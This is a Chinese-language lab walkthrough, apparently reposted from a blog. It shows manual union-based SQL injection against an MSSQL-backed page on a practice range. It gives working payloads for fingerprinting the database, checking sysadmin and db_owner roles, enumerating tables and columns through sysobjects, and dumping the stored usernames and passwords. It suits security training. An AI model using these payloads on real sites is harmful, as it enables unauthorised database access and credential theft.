mssql數(shù)據(jù)庫(kù)相關(guān)介紹:
mssql數(shù)據(jù)庫(kù):
mssql數(shù)據(jù)庫(kù)是一款微軟推出的數(shù)據(jù)庫(kù)
?
判斷是否為mssql數(shù)據(jù)庫(kù):
and exists(select * from sysobjects)--
exists是一個(gè)是否存在的判斷? ??
sysobjects是mssql數(shù)據(jù)庫(kù)自帶的一張表
?
mssql數(shù)據(jù)庫(kù)權(quán)限:
sa權(quán)限:數(shù)據(jù)庫(kù)操作,?件管理,命令執(zhí)?,注冊(cè)表讀取等 system
db權(quán)限:?件管理,數(shù)據(jù)庫(kù)操作等 users-adminstrators
public權(quán)限:數(shù)據(jù)庫(kù)操作 guest-users
?
mssql數(shù)據(jù)庫(kù)判斷權(quán)限的語(yǔ)句:
and 1=(select is_srvrolemember('sysadmin')) //判斷是否是系統(tǒng)管理員
and 1=(select is_srvrolemember('db_owner'))//判斷是否是庫(kù)權(quán)限
and 1=(select is_srvrolemember('public')) //判斷是否為public權(quán)限
?
調(diào)用數(shù)據(jù)庫(kù)的語(yǔ)句:
<% set conn =server.createobject("adodb.connection") conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name" %>
provider是數(shù)據(jù)庫(kù)引擎 ;uid是權(quán)限
?
在線靶場(chǎng):
?
靶場(chǎng)使用墨者學(xué)院在線靶場(chǎng)
?
?
?
?
?啟動(dòng)靶場(chǎng)后,就會(huì)有對(duì)應(yīng)的ip地址和端口,訪問(wèn)后即可進(jìn)行練習(xí)
?
?
?
?進(jìn)入靶場(chǎng)后使用檢查模式,進(jìn)入max hackbar
添加url地址,加上mssql數(shù)據(jù)庫(kù)的判斷語(yǔ)句,刷新
如果頁(yè)面返回正常,說(shuō)明使用的是mssql數(shù)據(jù)庫(kù)
?
尋找字符顯位
代碼:id=-2 union all select null,null,null,null
每個(gè)null都是一個(gè)顯位,通過(guò)依次改變null的值,來(lái)看該顯位是否可以用
id=-2 與id=2需要做測(cè)試,出現(xiàn)下圖界面時(shí),為所需要的值
?
?
?
?將第一個(gè)顯位的值改變
?
?
?
?刷新后發(fā)現(xiàn),沒(méi)由變化,該顯位不可用
?
將第二個(gè)顯位的值改變
?
?
?此時(shí)發(fā)現(xiàn)有了變化,證明該顯位可以用
依次測(cè)試3,4顯位,發(fā)現(xiàn)第3 顯位也可以用
?
?
?測(cè)試顯位時(shí),給測(cè)試符加上單引號(hào),不容易報(bào)錯(cuò)
?
測(cè)試出顯位后,就可以利用顯位,做一下查詢
?
查詢基本信息
1.@@version- 獲取版本信息;
2.db_name() -數(shù)據(jù)庫(kù)名字
3.user,system_user,current_user,user_name – 獲取當(dāng)前?戶名
4.@@SERVERNAME – 獲取有關(guān)服務(wù)器主機(jī)的信息。
?
利用顯位查看版本信息和數(shù)據(jù)庫(kù)名字
?
?
?
?
查詢表名
利用第二個(gè)顯位查詢表名
id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null
xtype='u'是手工創(chuàng)建的數(shù)據(jù)庫(kù),不是系統(tǒng)自帶的
mozhe_db_v2是數(shù)據(jù)庫(kù)名
?
?
?
查詢出第一個(gè)表表名為manage
?
?
在代碼中加入and name not in ('manage') 除去第一個(gè)表,來(lái)查詢第二個(gè)表表名
id=-2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null
?
?
?
以此類推在?not in ('manage')里加入第二個(gè)表名可以查出第三個(gè)表not in ('manage','announcement')
依次可以繼續(xù)查詢,直到查詢到自己所需要的表
本次實(shí)驗(yàn)需要查詢用戶信息,所以使用manage表就可以
?
獲取manage表列名
id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
也是利用第二顯位來(lái)做查詢
紅色的1代表查詢第一列,假設(shè)要查詢第二列更改為2即可
依次查詢后,發(fā)現(xiàn)第二列第三列為username 和 password
?
?
?
查詢用戶名和密碼
id=-2 union all select null,username, password ,null from manage
利用第二顯位和第三顯位查詢username 和password兩列的信息
?
?
?
?
?
?
?整一個(gè)sql注入完成,成功拿到用戶名和密碼
本文摘自 :https://www.cnblogs.com/